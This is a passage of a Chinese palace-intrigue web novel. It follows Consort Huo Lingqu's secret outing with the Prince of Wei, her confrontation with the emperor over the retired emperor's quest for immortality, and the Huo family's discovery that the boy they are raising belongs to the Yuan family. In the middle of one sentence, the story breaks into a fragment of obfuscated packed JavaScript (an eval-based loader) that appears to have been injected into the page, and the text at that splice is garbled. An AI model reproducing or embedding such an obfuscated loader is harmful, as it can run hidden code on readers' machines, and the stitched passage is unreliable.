明媚日晖下,黑底鎏金的匾额拢来耀眼光辉,护国公府四字雄浑苍劲更添厚重。 霍灵渠走出原家众人的视野后隐进拐角,身体靠着院墙壁滑落下来,苦涩抱膝蜷缩着,平复到心绪能缓和些,她想站起忽见魏王站在她面前,她看看他,垂眸未语。 “你大哥说你假扮成舒窈出宫,我就猜到你来这里了,我知道你不忍心,可圣人心意已定不会再更改,你想让我或者霍家再抗争也不是不行,但结果只会是让圣人知道漏网之鱼在哪儿,把你们姐妹辛苦养五年的孩子搭进去而已,你能舍得吗?” 魏王叹口气劝道:“圣人铁心要拔掉护国公府,此事和你没关系,你更犯不着自责,帮原家保住条血脉,你已经很对得起他们了,把这个心结放下吧。” 霍灵渠苦涩闭眼:“护国公府保家卫国满门忠烈哪对不住他,你爹为何要这么狠?” “功高震主向来是大忌!”魏王很理智,虽然这份理性很冷情:“原家镇守北境数十载,北境的军民几乎已经只知护国公府而不知皇帝,谁坐龙椅还能放心? 原家又是个愚直不会拐弯的性儿,如何不让圣人忌讳;原家二十年前若能激流勇退只做荣养勋贵,什么事都不会有。护国公府不知进退,这下场也不能全怨圣人狠。” “可他有证据吗?他有证据也就罢了,可他回回都是在诬赖啊。”霍灵渠昂首,微红的眼底盛满讽刺,情绪压抑而激烈:“第一回,嬴天漾他爹齐王谋逆,他就想把护国公府归入齐王乱党,逼得原贤妃以死证明原家清白害得他的六皇子至今下落不明生死未卜。 第二回有你推波助澜,他不问青红皂白就判护国公府通敌卖国要把原家满门问斩,若非我硬逼你保住原家,五年前护国公府就是满门冤魂。这回更可笑,他居然想把害霍家的阴谋硬赖给护国公府?!他对嬴天漾都能重用敕封镇南侯,为何偏对原家就要这么狠?” “重用嬴天漾是彰显皇恩浩荡,圣人对谋逆的同母亲弟仍有垂怜可彰显圣人的仁慈宽厚,可圣人想拔掉原家而不得尤其是两度功败垂成是打圣人的脸,是笑话。”魏王冷然警醒训斥:“和皇帝讲道理不荒谬吗?你想想我哥怎么死的,还要犯什么糊涂?” “所以你梦寐以求的就是期望将来能不讲道理吗?”霍灵渠顺理成章反叱,魏王深呼吸冷静道:“我说的是圣人,倘若我能御极,我会尽量做到讲求公道实证而不是凭我的喜恶。”话到这份儿上,他顺势旧话重提:“当年我给你的承诺还作数,只要你和霍家帮我。” “你就不能把这个华而不实的梦放掉吗?”霍灵渠真不想和他吵架:“刚说讲公道,下句话就能自己打脸,你的王妃哪点对不住你啊你就要想给她挪位置?” “世间没有非黑即白的公道何况朝堂之上。”魏王不以为意:“至少我没想害她。” 每每谈到这话题就累得慌,霍灵渠疲累道:“皇帝没你想的那么软弱,迫郭皇后辞位,嬴忱璧拦得住只是他选择顺水推舟,这甚至是他的本意,霍家配合皇帝唱戏而已。” 魏王神情淡淡:“我知道,嬴忱璧做四年皇帝若还能被霍家欺压,还配得到皇位吗?” “既然他都已经得到皇位了,你就放手吧!”霍灵渠压抑低吼,语调中透着浓浓的倦怠甚至还有丝愤懑又恳求意味:“你哥费尽心思保住你不是想让你卷进无休止的斗争。” “我输给他一回,不会输第二回。”魏王纠正道:“我若不争,才是死路。” 霍灵渠头疼地按太阳穴,眉眼间克制忍耐吵架的冲动清晰浮动着,魏王有眼力的略过:“我和你大哥约在春风楼碰面,嬴忱璧此时应当已经出宫派禁军在搜寻了。走吧,否则被嬴忱璧发现踪迹寻过来再传进圣人耳中,你想瞒都瞒不住。” 沉默会儿,霍灵渠撑着墙壁站起来跟着他走,走过小段路后突然止步,极其冷静的说:“我们去班丞相府坐坐吧,我有件事想请问丞相顺便蹭午膳,我饿了。” 魏王挑眉:“你爹和你大哥正满京城着急找你呢。” “他们着急一两个时辰是急,着急三四个时辰也是急,反正今天都能见到,没差啦。”霍灵渠浑然不在意,魏王有点意外的就事论事:“你这样太不孝了吧。” “这叫有其父必有其女,霍漓江也是这种德行。”霍灵渠没顾忌地传扬:“我祖父骂三个嫡出的儿女,一个两个三个都是糟心烂肺的玩意儿,我比起他们已经很好了。” “你祖父还真是个明白人。”魏王语气凉凉的,霍灵渠斜他眼,让他带路。 魏王痛快调转方向,他们就借借班丞相的幌子吧。 来到相府前,魏王没有提前递拜贴也照样顺利进入丞相家门,回绝掉班老夫人想带孙儿来陪客之意,让他们速速请相爷回来,他有要事与班丞相商议。 班丞相回家时间刚好,贵妃用过午膳正在饮甜品。他走进会客堂,霍灵渠眼神飘过去,视线相撞,他差点以为活见鬼了,霍灵渠说:“相爷没看错,是我,霍灵渠。” 还不如活见鬼呢!班丞相苦逼,魏王适时奉风凉话:“相爷不欢迎本王和贵妃吗?” 你们绝对是故意欺负我这老头!班丞相悲催地装作若无其事寒暄:“魏王爷哪的话,王爷和贵妃能来寒舍,寒舍蓬荜生辉啊,只是老臣愚钝,娘娘怎会随王爷出宫来?” 霍灵渠随口胡诌:“我有事想请教相爷,在宫中遇到魏王,王爷就带我出皇宫了。” 贵妃娘娘你这样睁眼说瞎话合适吗?班丞相郁闷咽下谴责改试探:“老臣惭愧,娘娘,陛下知道您出宫的事吗?若是陛下不知道,老臣想还是应该即刻禀告陛下。” 霍灵渠很好说话:“好啊,有劳相爷了。” 好嘛,这绝对是贵妃偷溜出皇宫找魏王,俩人商量完事情后拿他来扯幌子来了。班丞相装淡定地去屋外交代事情,交代好,重新回堂屋,心塞赔笑:“不知娘娘找老臣何事?” 霍灵渠倒是真有疑虑想探究:“劳烦丞相了,本宫想问授康二十八年,定襄的战事。” 贵妃娘娘您真会找托词,拿这种尽人皆知的事来敷衍,但班丞相表面装得还是很恭敬:“定襄的战事啊,当真是峰回路转柳暗花明,当时大家都以为要惨败收场了呀。 护国公的三公子原小将军力挽狂澜五百里突围斩下契丹统帅的首级,将定襄的惨败之局化做惨胜。当时原小将军也就二十岁出头,当真是英雄出少年啊。” “英雄出少年,定襄惨胜?”霍灵渠垂眸喃喃,如扇的眼睫毛掩住眼底揪心的波动。 他五百里突围斩下敌军统帅的首级,洗清护国公府通敌卖国的脏水;故,前世对定襄战事表述做定襄惨败,今生是定襄之围、定襄惨胜;故,前世在定襄惨败后魏王拿命担保也只能保住他、以观后效爵位搁置,直到他彻底击败契丹才重新赐下护国公的爵位。 今生定襄惨胜,是以护国公府还安然无恙,二奶奶他们都还活着,好好活着。 霍灵渠心揪揪得疼,枉她醒来半年多,居然能忽略了定襄战事前世今生这么大的出入,居然直到魏王告诉她、老皇帝又要除掉护国公府,她才意识到护国公府的不对劲。 她醒来半年难道都昏头了吗?晏霁之明明告诉过她,同道中人还有一位在北境,她居然过耳就抛诸脑后全不上心,怎么就不知多想想,她又没对今生的定襄战事失忆…… 魏王瞟眼这女人的痴样,手抵唇咳嗽声,霍灵渠警惕过来,掩饰地端起甜饮喝两口,假装好奇道:“原小将军这般厉害呀,这可真是英雄出少年,他叫什么名字呀?” 班丞相按住对贵妃异样的生疑说:“禀娘娘,原小将军名唤牧炽、原牧炽,炽热的炽,护国公儿女们的名字中都带牧字。” 霍灵渠灵光乍现,机智道:“相爷,原小将军娶妻了吗,本宫给他保个媒怎么样?” 魏王再瞟瞟这装腔的女人,端起茶盏喝茶。班丞相笑容可掬:“娘娘真是有心人,正徽元年时圣人曾有意给原小将军赐婚,但小将军已有约定白首的未婚妻,这才作罢了。” “这样啊,本宫还想霍家能有这样的少年英雄女婿呢,可惜了。”霍灵渠笑盈盈略过,好像就是纯粹疑惑:“本宫听闻圣人有意调护国公回京,相爷,这是因何故呀?” 班丞相平静跳过贵妃挖的坑:“老臣不知,娘娘恕罪。” 霍灵渠似是随意的想到什么就问了:“那么相爷觉得圣人想求长命百岁吗?” 魏王眸光微闪,班丞相刚想中规中矩敷衍时察觉到症结,什么叫长命百岁,圣人若想求长命百岁难道还能肯做几十年太上皇吗,那么太上皇想求长命百岁吗? 班丞相心底倒灌寒气,他是否根本错估太上皇对皇帝的态度了呀?他定定心神,望向霍贵妃莫名复杂,霍家早就敏锐嗅出来了吧,甭管贵妃今日找他的意图是什么,凭这声提点,他真该谢谢贵妃了:“娘娘谨记,胆敢妄测君心圣意乃是大罪。” “好吧!”霍灵渠站起来:“我有点累了想在相府打个盹儿,相爷和魏王聊吧。” “是,请娘娘随老臣来,请魏王爷稍候。”班丞相站起来引路,将霍贵妃送到后院交给他夫人照顾,再返回前院陪魏王打太极。 正徽帝嬴忱璧在申时中带霍家叔侄和晏霁之匆匆踏进班相府,霍灵渠已歇过了午觉,和班老夫人同在前院客堂看魏王和班丞相对弈,皇帝来了,她也心态好的当没事人。 堂屋众人站起来行礼接驾,嬴忱璧走到主位没坐,示意众人免礼。 婢女们进屋给每位奉上新的热茶点,晏霁之看向低眉顺眼但透着悠哉自在的女人,她可真好意思任由他们在外心急火燎找她。霍漓江真想捂脸,居然真是靠魏王把他闺女找到了,至于魏王找到贵妃后没派人往春风酒楼报信,正常,属于魏王的正常作风。 嬴忱璧唤贵妃近前来,和颜悦色道:“贵妃想出宫玩尽可告诉朕,怎能麻烦皇兄?” 你就不嫌假吗?魏王和贵妃娘娘不约而同想,霍灵渠心中腹诽过,面上不识抬举地说:“陛下放心吧,臣妾和魏王爷都不嫌麻烦,您若不信尽可向魏王求证。” 班丞相夫妇觉得有点激灵,陪同皇帝出宫的霍雄鹰默默被三姐姐憋住了,嬴忱璧仍平和教导:“皇兄这是客气,但我们若是拿皇兄的客气当做理所当然就是不懂事了,贵妃谨记,也不仅是魏王,任何外臣对贵妃敬重客气都需谦逊相待而不能视作应当。” 霍灵渠唱反调:“臣妾刚才耳聋了,陛下您说什么?” 魏王真快服了这女人了,霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍海啸怀疑:“灵渠今日出宫甚至不惜惹怒皇帝是与北境那户人家有关吗?” “应该吧。”晏霁之道:“应该也没别的事能令她如此着急又能令魏王一找就能找到她,初一时她和魏王谈事情,我就觉得她神情不对,应该是魏王告诉她北境那边的近况了。” 陪同进宫的霍雄鹰没那么多猜测,他只在劝过堂姐要恭顺后曝料,皇帝今日特意传令:今后命妇女眷出皇城,哪怕戴帏帽坐轿子也得细细核查,名实相符方可放行。 霍灵渠腹诽:摆明在防范她故技重施,幸好她和皇帝不在同辆马车。 皇帝微服出宫的车架进入皇城后携贵妃坐的马车直奔皇帝自己的皇极宫,令霍雄鹰前往长春宫给太后报平安以及护送霍舒窈出宫,皇帝带霍雄鹰进宫也就这么点事了。 日薄昏黄,夕阳晚照的温柔给冰凉的宫阙增添份暖意,善诱着疾行的车架逐渐放缓。 来到皇极宫前,嬴忱璧走下马车站定,霍灵渠瞥眼皇帝故意等她的身影,默默走近。 帝妃俩沉默走进御殿,宫婢们奉上热茶水糕点和鲜果,御前总管问何时传膳,皇帝没回复只把殿内的宫人们全部遣退,他端着茶盅斜靠在黄花梨罗汉床里喝茶。 洋溢着龙涎香的殿阁气氛越来越低沉,霍灵渠眼观鼻鼻观心,只当没看见皇帝的臭脸。 “贵妃可知道,你孤身在外有多危险吗?朕在接到禀告时又有多担心你吗?” 霍灵渠装沉默酝酿情绪,嬴忱璧声音不轻不重但语气已显严厉:“贵妃!” “我害怕,怕得毛骨悚然心惊胆颤。”霍灵渠似是受惊般骇了跳,剪瞳中溢满委屈:“我只觉得住在这座皇城里越来越窒息,我只想逃离这个让我怕得不寒而栗的地方。” 皇帝没有被贵妃装模作样的假象迷惑:“贵妃的意思,朕令你害怕得毛骨悚然吗?” “是你爹!你爹想拿我来修炼长生不老。”霍灵渠装出哭腔又迅速表明:“不要问我,你爹为什么会有这种想法?我不知道,你想知道他的想法你去问他,不要来问我。 我只觉得我倒霉透了,你爹简直是要疯魔了!还有,我可没有污蔑你爹,这是国师传给霍家的消息,国师还说他在宫宴时没说出的话是:踏破铁鞋无觅处,得来全不费工夫。我宁可信其有,不然我若是没有防备,我就要在毫无知觉时被你爹抓起来宰了。” 正徽帝嬴忱璧神情聚变,霍家居然把这事告诉贵妃了! 皇帝他这刻也说不上来该不该怪霍家,当下也顾不得,安抚住贵妃才重要。嬴忱璧连忙站起来跨过两步坐到贵妃身边,宽慰道:“贵妃多虑了,太上皇只是被小人谗言——” “胡说八道!”霍灵渠疾速打断:“你当我眼瞎,看不出他的企图吗?你说多虑就是多虑吗?我凭什么相信你,你凭什么给我担保,我看你们一伙才是真的,你们都想害我!” 嬴忱璧听到最后真反而有点哭笑不得:“贵妃,贵妃别怕,朕知道你吓到了,你相信朕,不会有事的。你先放松,放平心态,你这么紧张会草木皆兵的,对你不好。” “对我怎么就不好了,紧张至少能让我保持警惕,不会被花言巧语迷惑。”霍灵渠被压抑着的愤懑悲怆无力情绪还真是说来就来,毕竟涉及她的性命:“我凭什么相信你呀,你爹能因想长生而意图害我,你为什么不能?也许继你爹之后想害我的人,就是你。” 嬴忱璧无奈,无奈中还有被如此质疑的恼意:“贵妃觉得我会害你吗?” “会啊,你为何不会害我,我为何要相信你不会害我?”霍灵渠惜命道:“我觉得你爹想长生想得疯魔了,可我能拦住你爹的想法吗?我不能,我能拦住你爹想害我的想法吗?我更不能,我能做的只有自保而不是把自己的性命寄托给旁人,我凭什么要去赌?” 霍灵渠说着不禁悲凉:“你们都是皇帝呀,就算你只是普通老百姓,你若是知道有人因想追求长生而拿另一个人来炼药,你为何不能想试试呢?试试对你又没损失的,因名利熏心而害人的人都比比皆是,何况长生不老,这得是多大的诱惑,我怎么能相信你?” 嬴忱璧叹气,没脾气道:“朕知道贵妃害怕,但贵妃难道就要因此失掉对人的信任吗?贵妃应该相信这世间的良善正气远比奸险要多得多,否则你岂非连霍家都不能再信吗?” 霍灵渠理所当然反驳:“你还能和我爹我祖父我叔伯我的兄弟们比吗?” 微微扎心的皇帝只能保证:“朕没有想寻求长生的想法,否则叫我嬴忱璧活不过三十。” 霍灵渠眼圈微红看他,戳破道:“发誓都是唬人的,我不是三岁小孩,更不是傻瓜。” “可我难道就是恶魔吗?”嬴忱璧强行将贵妃抱住再包裹住她微凉的纤手,心态平和得讲道理:“且不论世间有没有能长生之法,就算有,谁又能忍受一个长生的皇帝? 皇帝尚在壮年时,皇子们就能为争夺将来的皇位斗得骨肉相残,何况长生的皇帝;他想安稳得杀到自己断子绝孙乃至把整个宗族都赶尽杀绝,这样的人已经不是人了。” “你在指桑骂槐你爹。”霍灵渠提醒,嬴忱璧闭闭眼应承:“太上皇确实魔怔了。” “可如果把儿孙和宗亲屠尽就能保你永远做皇帝,谁知你会不愿意?”霍灵渠警惕。 “没有永远。”嬴忱璧清醒的预见:“古来被推翻的皇朝又何曾少过,一个杀到整个皇族都只剩他自己的皇帝还能令谁信服?还能统御天下吗?不能,他只会走到穷途末路。” 霍灵渠狐疑打量他有多少可信,正徽帝嬴忱璧不在意笑笑,安抚道:“贵妃别怕,朕会保护你,不会让太上皇伤害你;没事的,相信朕,太上皇伤害不了你,别怕。” “我……”霍灵渠坦诚道:“我没法不害怕也没法消除对你的戒心,我想独自静静。” “好!”嬴忱璧略心塞退让:“朕知道此事对贵妃的冲击很大,只凭三言两语,贵妃不能信赖朕也在情理中,不妨,日久见人心,贵妃慢慢自会相信朕绝不会害你,朕只想对你好。”又叮嘱:“已是晚膳的时辰了,贵妃切莫神伤太久,否则对脾胃和心绪都不好。” “我知道的,谢陛下关怀。”霍灵渠低低应,嬴忱璧见状再叮嘱几句才起身往殿外走,走到御殿前见天边云蒸霞蔚,夕阳织就着波澜壮阔的锦绣试与巍巍皇城比辉煌。 霍灵渠在星辰满天时走去长春宫,皇帝给她派轿辇,她不要,坚持自己走。皇帝安排的宫人远远跟随,她就一路慢慢走或走走停停,一路走过半座皇城的孤寂走到长春宫。 太后娘娘接到禀报赶到殿外来接,亲自陪灵渠回寝殿休息,刚还想板脸训训,孩子撒撒娇就发不出脾气来了,好生叮嘱今后不得再胡闹,又勒令奴婢们照顾好贵妃才离开。 然而霍太后的窝火可难消,翌日上午,太后娘娘带着贵妃画的表哥画像杀到慈寿宫最僻静的殿阁群中修缮最好的偏院找那老女人:“你行啊,背着我三番两次在灵渠面前耍花样,我警告你,管好你自己和他们两个,否则休怪我对你不客气!” 论面相显示的年纪足以做霍太后母亲的姬太妃展开画像,含笑道:“孩子的画功不错。” “你嫌舒坦,非得想给自己找点麻烦是吧?”霍太后坐都懒得坐,姬太妃抬头看她,衰老的脸庞笑得甚是感叹:“皇后、太后,真不愧是从皇后做到太后的女人,是凤命就是与众不同,旁人发誓是风凉话,你发誓就能成真了,太后可要记得今后莫再乱起誓了。” 霍太后神情微变,忆起埋在岁月深处几乎已经遗忘的那个誓言,美丽的容颜变得铁青:“我再警告你遍,你们若是再敢背着我耍花样,我不会再一笑置之了,自己掂量吧。” 语毕,霍太后拂袖而走,走到门槛前时被身后传来的声音阻住,姬太妃说:“谢谢你!四年多来我一直都想对你说声谢谢,可惜始终没有恰当的时机。 我蠢钝得无药可救了吧,晏贵妃生前都早早看出来了,晏贵妃生前对我百般提示,可我就是如耳聋眼瞎般什么都没听懂看懂。对面不相识,我至亲的人,真正对面不相识。” “你要是还没得失心疯,不用我警告,你就应该知道怎样做才是对灵渠好。” 霍太后撂下话就走,在屋中的姬太妃捧着画像注视许久,眼底渐湿润,一滴泪落下。 90. 第90章 晨间熠熠,皇家禁军开道,皇帝携霍贵妃前往皇陵拜祭的仪仗队长长走过朱雀大街。 百姓们纷纷驻足围观,国都城最宽阔的街道花天锦地,行知没坐轮椅,隐在人群中目送皇帝的銮驾越行越远凝成视野中的小点,他才离开此地去霍家见霍桑柔。 霍枫叶告假半日在家等行知,还没等到行知,大侄女先回来了。 穆国公夫人崔氏清早带长媳和太医前往愗郡公府接娉姨娘和霍六爷霍超群,皇帝带着霍贵妃去往皇陵拜祭的阵仗轰动才把霍家的笑话给暂且盖住了,可哪能瞒得住霍舒窈。 “霍秦川真不要脸皮了是吧,让我娘和大嫂出面,霍鸳娇还能不逼着他亲自上门吗?” 谁叫霍枫叶比大侄女年纪小但辈分大呢,姑奶奶回娘家来发飙还非得见长辈,他在家,他就被老太爷指派过来了,别让怀着身孕的大姑奶奶动胎气。 “大哥应该是想把娉姨娘和超群接回来再管,毕竟让他们滞留懋郡公府更不像话。” “小叔你哄傻瓜呢,霍秦川还能晓得管束他们?”霍舒窈气得真想掀桌,霍枫叶笑道:“可太后还能管不住吗,咱太后想做的事,大哥几乎都不会反对。” “我知道,我就是气不过!”霍舒窈憋屈:“昨天傍晚雄鹰还来跟我说,霍鹣娇病好了,知道她姨娘把霍秦川压住了,昨儿个晨省,得意得尾巴都要翘上天了。” 两位霍奶奶赶忙宽慰,奴婢来报客人到了,霍枫叶嘱咐过大侄女保持心平气和再离开,去接霍桑柔,带五侄女去前院见家中给她举荐的教书先生。 “是小叔在外地结识的友人,刚来京城谋生,他在家乡就是做教书先生的,学识不错。桑柔不必看小叔的情面就故意放水,只管对他和其他应征西席的先生等同视之。” “你想什么呢,我还要嫌你们给我找事呢,你们选哪天不行非得选今天,你不知道我姐今早去皇陵拜祭吗?本来我都想带小祐出门看我姐的,见不着,带小祐看热闹玩玩也好。”霍桑柔冷哼:“要不是你们答应我姐生辰时带我和小祐进宫,我才没这么好说话呢。” “好,是小叔挑错日子了,桑柔莫怪。”霍枫叶拿着哄小孩的调道歉,引着五侄女来到前院会客的客堂,候在廊前的小厮禀告,这客人正在屋中品茶。 霍枫叶轻轻点头嗯声,带着霍桑柔走进客堂。 “桑柔,这位就是小叔的友人行知先生;行知,这就是我家五姑娘,桑柔。”话未尽,霍枫叶看他们都僵住了,奇怪:“你们认识?” “先先先先先先先先生?!”霍桑柔僵硬半响恢复神识,心肝颤了颤,她滴个亲娘哎,这个想来给她养的娃做西席的男人就是当年教导她的教书先生呀。 霍桑柔又有点尴尬和心虚,好像做坏事被抓住的心虚,毕竟这个还是当年被她们姐妹俩给抛下的先生,她还以为不会再见了,这样乍然见到,她脸皮厚也有点尴尬了。 “先生,真是你呀?你也来京城啊,呃…那个、那个,我和我姐不是故意撇下你的,我们那会儿实在顾不上你了,你也清楚当年那情况,小祐几个月大,我也才十三四岁,我姐又病着那么虚弱,官府又还在通缉他们,我们离开对你也好是吧,我们也是怕连累你。” 突然灵光闪过,霍桑柔连忙跳话题:“先生你来京城谋生是吧,行的,那就你给小祐做教书先生好了。哦对啦,你要收多少学资都行的,我姐当时给我交的学费是每月一百文钱,那我现在就给你每月一两银子,哦不,我给你每月十两银子。” 霍桑柔气弱赔笑:“先生,你不要跟我们生气了好不好,我姐见到你一定会很高兴的,我姐姐现在做贵妃啦!”她福至心灵:“哦对,对对对,我姐现在是贵妃了。 我们可以救二奶奶他们了,先生你放心吧,我们不是没良心的人,我们都是有良心的,我们不会现在发达了就不管你们;我姐一定能把二奶奶他们都救出来的,你放心吧。” 天啊,这就是他舅父令他来见霍桑柔的用意吗?!行知如遭雷劈般僵硬半响后回过神,几乎想仰天大笑:“解忧,解忧?解忧,你本名叫霍桑柔,为何改名何解忧?” “这个是最初照顾我们的那个叔叔给我们改的名字。”霍桑柔解释说:“他说希望我们姐妹能忘忧解忧,我姐说何以忘忧何以解忧,所以就又改作何忘忧何解忧。” 舅父是知道的,清楚地知道她们姐妹的真实身份,收到京城的消息时就什么都明白了。行知握紧拳头背过身极力克制住后再转身,问:“解忧,孩子呢?” “哦,在的在的。”霍桑柔连忙应:“那先生你等下,我现在就带小祐来见你啊。” 霍桑柔说完一溜烟往外奔,旁观过这场旧识相认的霍枫叶看着五侄女跑没影了,他走过两步逼近行知,确认道:“灵渠当年是带着桑柔投奔护国公府?” “舅父说这是咱家的远方亲戚,二表哥还笑话打趣,说咱家长得粗糙,哪来这么水灵的远方亲戚,他说这不会是爹你在外面养的外室女吧;舅父随手大耳光子招呼过去,骂咧咧嫌二哥是不是傻,亲戚都没这么水灵,他还能生出这样水灵灵的姑娘来吗?” 行知眼眶通红眼底湿润弥漫:“你说我是不是也傻?远方亲戚,四个字就真信了,我怎么就不知道多查查是什么远方亲戚,还是大表哥周全,大哥他定然也是清楚的。” 霍枫狠狠吸口气,没作声就往外走,交代好守在廊前的小厮,去找老太爷。 “啥???” 霍擎老太爷差点拄拐杖跳起来,老眼瞪得比铜铃大,这不是故意吓他老头吧!举着拐杖敲着霍枫叶再讲遍,他老头就算能认都想抓狂啊:“保境安民,保境安民,保境安民啊!霍桑柔个丫头片子读书都读到娘胎里了吗,保境安民她都认不出吗?” “爹,据说原小将军有个未婚妻。” 霍枫叶眼底落下苦涩的挣扎:“这未婚妻是……” “还用猜嘛,丫头自己都说她有个想娶她的少年郎在北境,哎呦真会让老头我头疼。”霍擎拄拐杖念着护国公府,在原地转两圈后交代:“枫叶啊,把霍秦川叫回来,把客堂里的消息封住,咱家帮原家养着孙子,不能走漏半点风声传进太上皇耳中。” 霍枫叶应声退下,派出大管事去喊嫡长兄穆国公回来后,他再去叮嘱行知莫漏出马脚,虽然他觉得行知应该有数,但总归是交代过他才放心些。 行知默默听着,整个人沉寂得像是座泥雕,紧握的苍白手背青筋直暴。 霍桑柔将娃娃带来,小祐走到会教他读书的先生面前,规矩行礼:“小祐拜见先生。” 仿佛是天地间都安静了,行知眼皮哆嗦地看向眼前的孩子,耳畔炸响着心脏的跳动声,手掌和身体不可遏制地发颤,撑着玫瑰椅的扶手想站起来抱抱孩子时被霍枫叶按住,霍枫叶眼中的警告清晰可见:你想让太上皇知道吗? 行知压抑住心酸苦涩坐回椅中,克制道:“好,好,过来,让先生看看。” 小祐娃娃乖乖直起小身体走上前几步,行知从椅中站起来蹲下,拉过孩子的小手,满眼心酸又是高兴,五年前还在襁褓中的孩子呀,如今都长这样高,都五岁了。 “先生你生病了还是哪里痛呀?”小祐娃娃疑惑:“我看你好像要哭了。” 迎着稚童纯真的眼睛,行知几近忍不住泪意:“没有,先生是高兴,这就是喜极而泣。娘跟小祐说过了吧,先生还是你娘的先生,今日他乡遇故知,见到老友,先生高兴。” “先生,我是…是因为…我不是故意。”霍桑柔插话想解释给娃娃当娘的事,毕竟先生还是二奶奶他们家的亲戚,她给人家的娃做娘当着人家亲戚的面也怪不好意思的。 “我明白的,二表哥表嫂他们都会明白的,是我们欠着这大恩了。”行知情绪缓和些,抬手摸摸孩子幼嫩的脸颊,和蔼道:“小祐今年满五岁了吧,有没有什么心愿啊?” 小祐娃娃嬉笑着认真点头:“有,我想见爹爹。”但虽然没见过爹爹,他还是很高兴的:“姨母说国家在和敌国打仗,好多好多像爹爹这样的大人都在边境打仗。 他们都要打完仗胜利了才能回家来,小祐都五岁了还没见过爹爹。小祐跟姨母说,我们能不能去边境找爹爹呀?姨母说边境很远、边境风沙很大、坏人很多打仗很危险,不能去,小祐只能等着爹爹打完仗后回来,先生晓得什么时候能打完仗吗?小祐想爹爹。” “先生也不知道,没人能知道什么时候能打完仗,但先生在边境有朋友。”行知抑住苦楚满怀期许笑:“小祐如果有话想告诉爹爹,先生可以帮小祐送信,好不好?” “真的呀?”孩童喜上眉梢,幼童的高兴如此简单而外放,小娃娃连忙转身奔向他娘:“娘娘娘,娘你听到没有,先生可以帮我们给爹爹送信,小祐能有爹爹写信啦。” 霍桑柔忙弯腰接住娃娃应和:“娘听到啦,小祐很快就能和爹爹通信了,小祐还可以让先生帮你给爹爹捎礼物,小祐不是准备了一大包东西想在和爹爹见面时送给爹爹吗?” “哦,对!”孩童心花怒放:“小祐还能给爹爹送礼物,娘,我们就去拿礼物吧。” “小祐说的对,桑柔你陪孩子回屋准备礼物吧。”霍枫叶适时支走他们。 霍桑柔没想走的,但立刻去挑礼物也行,便也没反对,带着欢欢喜喜的娃走了。 行知目送孩子的身影消失在视野尽处,跌退两步略有些踉跄地坐回玫瑰椅中,悲凉笑:“前年我还让晏霁之警惕他的宠妾,流光很可能就是魏王派进英王府的细作。后来,确定了流光就是细作,我还讽刺他:你可真舍得回回都给真讯息,任由魏王窥察晏家。 定襄战事结束,护国公府缓过劲儿,能腾出手来彻查这场战事中的阴谋,彻查前,我们以为是魏王操纵整场想令原家对他效死忠;彻察后,我们才知我们想错了。 魏王的谋划是想把护国公府拔起好安排他的势力,事到临头,他怎么会顶着他自己损失惨重来变卦逆转硬保原家?除非他是被迫的,他背后还有势力在强迫他屈从。” 行知双眼通红,悲怆的撕扯浑似佛台染血般触目惊心,他看向霍枫叶,笑比哭哀戚:“可惜护国公府在今日以前都没能查明白,此刻,你觉得我能猜到答案了吗?” 霍枫叶抬手抹把脸,沉声征询:“太上皇要把护国公调回京畿,你知道了吗?” “发现朝廷在调换北境的布防,我让晏霁之帮我查查是因何故,他还没有给我回复。”而霍枫叶这话等同是将他不好的预感落实了,行知敛起悲苦面对要事:“你直说吧。” “太上皇想把害霍家的阴谋赖给护国公府。”霍枫叶话落,堂屋中咯嘣声脆响,是行知捏得苍白的指骨节作响,霍枫叶再对他说:“魏王已经给护国公放消息了。” 行知压抑着愤怒痛恨诘问:“你们霍家就愿意被太上皇这样搪塞吗?” 霍枫叶走到他身侧的玫瑰椅前落座,近乎肯定道:“无论霍家之前什么态度都要变了,灵渠知道后定然要阻拦;她逼魏王救过一回了,她岂能眼睁睁看护国公府出事?” 行知倏然落寞,低着头轻轻摇:“你们劝劝她吧,安生过她的日子,不要再管了。” 霍枫叶沉默半响仍没应答,只问:“你回蒙侍郎府还是住在霍家给孩子授课?” “回蒙侍郎府,蒙侍郎知道我今日来霍家欲结识霍桑柔,再借她结交贵妃。何况护国公府危机存亡,不能有任何引人遐思的风吹草动。”行知忍忍眼酸,看向霍枫叶,请托道:“我也不知道原家何时才能接回孩子,小祐在霍家期间就拜托你们照顾了。” “放心吧,灵渠和桑柔在北地时也多亏护国公庇护。”霍枫叶爽快,又踌躇问:“灵渠在北地时你和她熟悉吗,灵渠过得开心吗,原小将军的未婚妻就是灵渠吗?” “对,我表弟的未婚妻叫何忘忧,就是刚才我见到的解忧的姐姐,我表弟直爽热情,他带着忘忧跑马、练拳、射箭、训鹰、放牧,尽做些儿郎们做的事。当时我们大家还取笑他,你当忘忧是喜欢的姑娘还是当忘忧是你的小弟呀,真难得忘忧能受得了你。” 行知在笑,笑得眼睛隐隐充血,笑得令人只觉得他心酸得下刻就会哭出来:“我想舅父应该还没有告诉表弟,不敢呀,表弟若是知道忘忧做贵妃了,能和皇帝抢人。” 霍枫叶沉默两息后拍拍他的肩膀,没说话,站起来往外走,让行知独自冷静会儿。他走到廊前来到庭院中,背手遥望天空,湛蓝高阔的天真叫人神清气爽呀。 穆国公霍秦川临近晌午时回家,在回家前他还以为是臭闺女告状成功了没当回事,谁想回到家后接到这样个响雷,差点把他砸晕,他要捂脸了,造孽啊! 他们怎么就能这么完美地避过护国公府呢,全家脑瓜都出问题了,护国公不就在北境,灵渠去北境投奔的人家,为啥不是率先想到护国公反而是直接给略过了呢?更何况,护国公府不就是授康二十八年全家下狱差点玩完嘛,都能对上啊,他们居然能无视,造孽啊。 今晨前往愗郡公府接娉姨娘和霍超群的穆国公夫人婆媳比霍秦川早三刻钟到家,几乎是大家意料中的徒劳而返,把霍舒窈气得,得知这爹被喊回家就来找他威胁。 “我警告你啊霍秦川,你要是不要脸皮的跑愗郡公府接人,我就把娉姨娘的脸划花。” 他们还在老太爷的院里呢,霍擎瞧着只管捧着茶碗喝茶,霍秦川敷衍说知道了,霍舒窈怀疑老爹打瞌睡还没醒:“我说的是把娉姨娘的脸划花,我可不是跟你说着玩的。” “知道了知道了,走吧走吧,你爹现在没空搭理你。”霍秦川不耐烦摆手。 霍舒窈狐疑打量这爹两遍,很烦躁,貌似真有正事;她冷哼声,甩头就走。 